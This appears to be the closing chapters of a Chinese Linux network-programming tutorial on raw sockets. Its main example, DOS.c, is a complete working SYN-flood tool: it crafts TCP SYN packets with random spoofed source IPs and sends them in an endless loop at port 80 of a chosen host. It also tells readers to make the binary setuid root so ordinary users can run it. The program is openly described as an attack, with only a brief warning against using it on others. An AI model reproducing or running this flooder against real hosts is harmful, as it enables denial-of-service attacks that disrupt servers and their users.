Linux网络编程--10. 原始套接字 --11. 后记

10. 原始套接字 
　　 我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外一种套接字--原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能. 注意原始套接字只能够由有root权限的人创建. 
　　
　　10.1 原始套接字的创建 
　　
　　 int sockfd(AF_INET,SOCK_RAW,protocol) 
　　
　　可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.详细的情况查看 下面我们以一个实例来说明原始套接字的创建和使用 
　　
　　10.2 一个原始套接字的实例 
　　还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码 
　　
　　/******************** DOS.c *****************/ 
　　
　　#define DESTPORT 80 /* 要攻击的端口(WEB) */ 
　　#define LOCALPORT 8888 
　　
　　void send_tcp(int sockfd,struct sockaddr_in *addr); 
　　unsigned short check_sum(unsigned short *addr,int len); 
　　
　　int main(int argc,char **argv) 
　　{ 
　　 int sockfd; 
　　 struct sockaddr_in addr; 
　　 struct hostent *host; 
　　 int on=1; 
　　 
　　 if(argc!=2) 
　　 { 
　　 fprintf(stderr,"Usage:%s hostname\n\a",argv[0]); 
　　 exit(1); 
　　 } 
　　 
　　 bzero(&addr,sizeof(struct sockaddr_in)); 
　　 addr.sin_family=AF_INET; 
　　 addr.sin_port=htons(DESTPORT); 
　　 
　　 if(inet_aton(argv[1],&addr.sin_addr)==0) 
　　 { 
　　 host=gethostbyname(argv[1]); 
　　 if(host==NULL) 
　　 { 
　　 fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno)); 
　　 exit(1); 
　　 } 
　　 addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); 
　　 } 
　　 
　　 /**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/ 
　　
　　 sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); 
　　 if(sockfd<0) 
　　 { 
　　 fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); 
　　 exit(1); 
　　 } 
　　/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/ 
　　 
　　setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); 
　　
　　/**** 没有办法,只用超级护用户才可以使用原始套接字 *********/ 
　　 setuid(getpid()); 
　　
　　/********* 发送炸弹了!!!! ****/ 
　　 send_tcp(sockfd,&addr); 
　　} 
　　
　　/******* 发送炸弹的实现 *********/ 
　　void send_tcp(int sockfd,struct sockaddr_in *addr) 
　　{ 
　　 char buffer[100]; /**** 用来放置我们的数据包 ****/ 
　　 struct ip *ip; 
　　 struct tcphdr *tcp; 
　　 int head_len; 
　　 
　　 /******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/ 
　　 
　　 head_len=sizeof(struct ip)+sizeof(struct tcphdr); 
　　 
　　 bzero(buffer,100); 
　　
　　 /******** 填充IP数据包的头部,还记得IP的头格式吗? ******/ 
　　 ip=(struct ip *)buffer; 
　　 ip->ip_v=IPVERSION; /** 版本一般的是 4 **/ 
　　 ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/ 
　　 ip->ip_tos=0; /** 服务类型 **/ 
　　 ip->ip_len=htons(head_len); /** IP数据包的长度 **/ 
　　 ip->ip_id=0; /** 让系统去填写吧 **/ 
　　 ip->ip_off=0; /** 和上面一样,省点时间 **/ 
　　 ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/ 
　　 ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/ 
　　 ip->ip_sum=0; /** 校验和让系统去做 **/ 
　　 ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/ 
　　 
　　 /******* 开始填写TCP数据包 *****/ 
　　 tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); 
　　 tcp->source=htons(LOCALPORT); 
　　 tcp->dest=addr->sin_port; /** 目的端口 **/ 
　　 tcp->seq=random(); 
　　 tcp->ack_seq=0; 
　　 tcp->doff=5; 
　　 tcp->syn=1; /** 我要建立连接 **/ 
　　 tcp->check=0; 
　　
　　 /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/ 
　　 while(1) 
　　 { 
　　 /** 你不知道我是从那里来的,慢慢的去等吧! **/ 
　　 ip->ip_src.s_addr=random(); 
　　
　　 /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */ 
　　 /** 下面这条可有可无 */ 
　　 tcp->check=check_sum((unsigned short *)tcp, 
　　 sizeof(struct tcphdr)); 
　　 sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); 
　　 } 
　　} 
　　
　　/* 下面是首部校验和的算法,偷了别人的 */ 
　　unsigned short check_sum(unsigned short *addr,int len) 
　　{ 
　　 register int nleft=len; 
　　 register int sum=0; 
　　 register short *w=addr; 
　　 short answer=0; 
　　 
　　 while(nleft>1) 
　　 { 
　　 sum+=*w++; 
　　 nleft-=2; 
　　 } 
　　 if(nleft==1) 
　　 { 
　　 *(unsigned char *)(&answer)=*(unsigned char *)w; 
　　 sum+=answer; 
　　 } 
　　 
　　 sum=(sum>>16)+(sum&0xffff); 
　　 sum+=(sum>>16); 
　　 answer=~sum; 
　　 return(answer); 
　　} 
　　
　　编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户可以运行这个程序,我们应该将这个程序的所有者变为root,且 设置setuid位 
　　
　　 [root@hoyt /root]#chown root DOS 
　　 [root@hoyt /root]#chmod +s DOS 
　　
　　10.3 总结 
　　原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了. 不过这里面是不是有很多的乐趣呢. 当我们创建了一个TCP套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,回自动的调用相应的模块给数据加上TCP头部,然后加上IP头部. 再发送出去.而现在是我们自己创建各个的头部,系统只是把它们发送出去. 在上面的实例中,由于我们要修改我们的源IP地址,所以我们使用了setsockopt函数,如果我们只是修改TCP数据,那么IP数据一样也可以由系统来创建的. 
　　
　　11. 后记 
　　 总算完成了网络编程这个教程.算起来我差不多写了一个星期,原来以为写这个应该是一件 不难的事,做起来才知道原来有很多的地方都比我想象的要难.我还把很多的东西都省略掉了 不过写完了这篇教程以后,我好象对网络的认识又增加了一步. 
　　
　　 如果我们只是编写一般的 网络程序还是比较容易的,但是如果我们想写出比较好的网络程序我们还有着遥远的路要走. 网络程序一般的来说都是多进程加上多线程的.为了处理好他们内部的关系,我们还要学习 进程之间的通信.在网络程序里面有着许许多多的突发事件,为此我们还要去学习更高级的 事件处理知识.现在的信息越来越多了,为了处理好这些信息,我们还要去学习数据库. 如果要编写出有用的黑客软件,我们还要去熟悉各种网络协议.总之我们要学的东西还很多很多. 
　　
　　 看一看外国的软件水平,看一看印度的软件水平,宝岛台湾的水平,再看一看我们自己的 软件水平大家就会知道了什么叫做差距.我们现在用的软件有几个是我们中国人自己编写的. 
　　
　　 不过大家不要害怕,不用担心.只要我们还是清醒的,还能够认清我们和别人的差距, 我们就还有希望. 毕竟我们现在还年轻.只要我们努力,认真的去学习,我们一定能够学好的.我们就可以追上别人直到超过别人! 
　　
　　相信一点: 
　　
　　 别人可以做到的我们一样可以做到,而且可以比别人做的更好! 
　　
　　
　　hoyt 
　　
　　11.1 参考资料 
　　<<实用UNIX编程>>---机械工业出版社. 
　　
　　<>--清华大学出版社.